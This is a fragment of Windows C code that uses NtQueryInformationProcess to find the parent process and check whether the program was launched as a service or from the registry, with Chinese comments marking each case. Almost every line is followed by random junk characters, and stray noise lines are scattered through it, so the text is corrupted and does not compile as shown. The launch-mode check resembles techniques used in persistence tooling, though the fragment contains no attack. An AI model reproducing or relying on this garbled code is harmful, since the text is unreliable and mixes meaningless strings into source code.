DWORD AffinityMask; tc!!W9{69
DWORD BasePriority; HarYV :
ULONG UniqueProcessId; vRq=m8
ULONG InheritedFromUniqueProcessId; [`cdlx?Eh
} PROCESS_BASIC_INFORMATION; fc["
p`pg5R
PROCNTQSIP NtQueryInformationProcess; MP_A<F
|2[S/8g!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )Fw
@afE~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dg1kbO=2
5+J64_
HANDLE hProcess; t*5z1T?
PROCESS_BASIC_INFORMATION pbi; @G7w(>_T3
QZ6[*_Z6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ax :3}
if(NULL == hInst ) return 0; 4o)(d=q
C+ZQB)gn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ompi~
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TB;3`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qr7 X-[&
>Iu]T{QNO
if (!NtQueryInformationProcess) return 0; u4`mQ6
"``W6W-(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^ uKnP>*l
if(!hProcess) return 0; Fc34Y0_A
ppPG+[ cz
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^=aml
:<'i-Ur8
CloseHandle(hProcess); A73V6"
GMVC&^
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); byEvc[/>Ys
if(hProcess==NULL) return 0; c13vEn!c
C.b,]7i
HMODULE hMod; Dlqn~
char procName[255]; tjBh$)
unsigned long cbNeeded; |iLx $P6
muK'h`
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hr)+Pk
BG(R=,
7
CloseHandle(hProcess); ~.\73_M=A
<XkkYI(
if(strstr(procName,"services")) return 1; // 以服务启动 Z%, \+tRe
6\NX
5Gh
return 0; // 注册表启动 9~LpO>-
} g&oc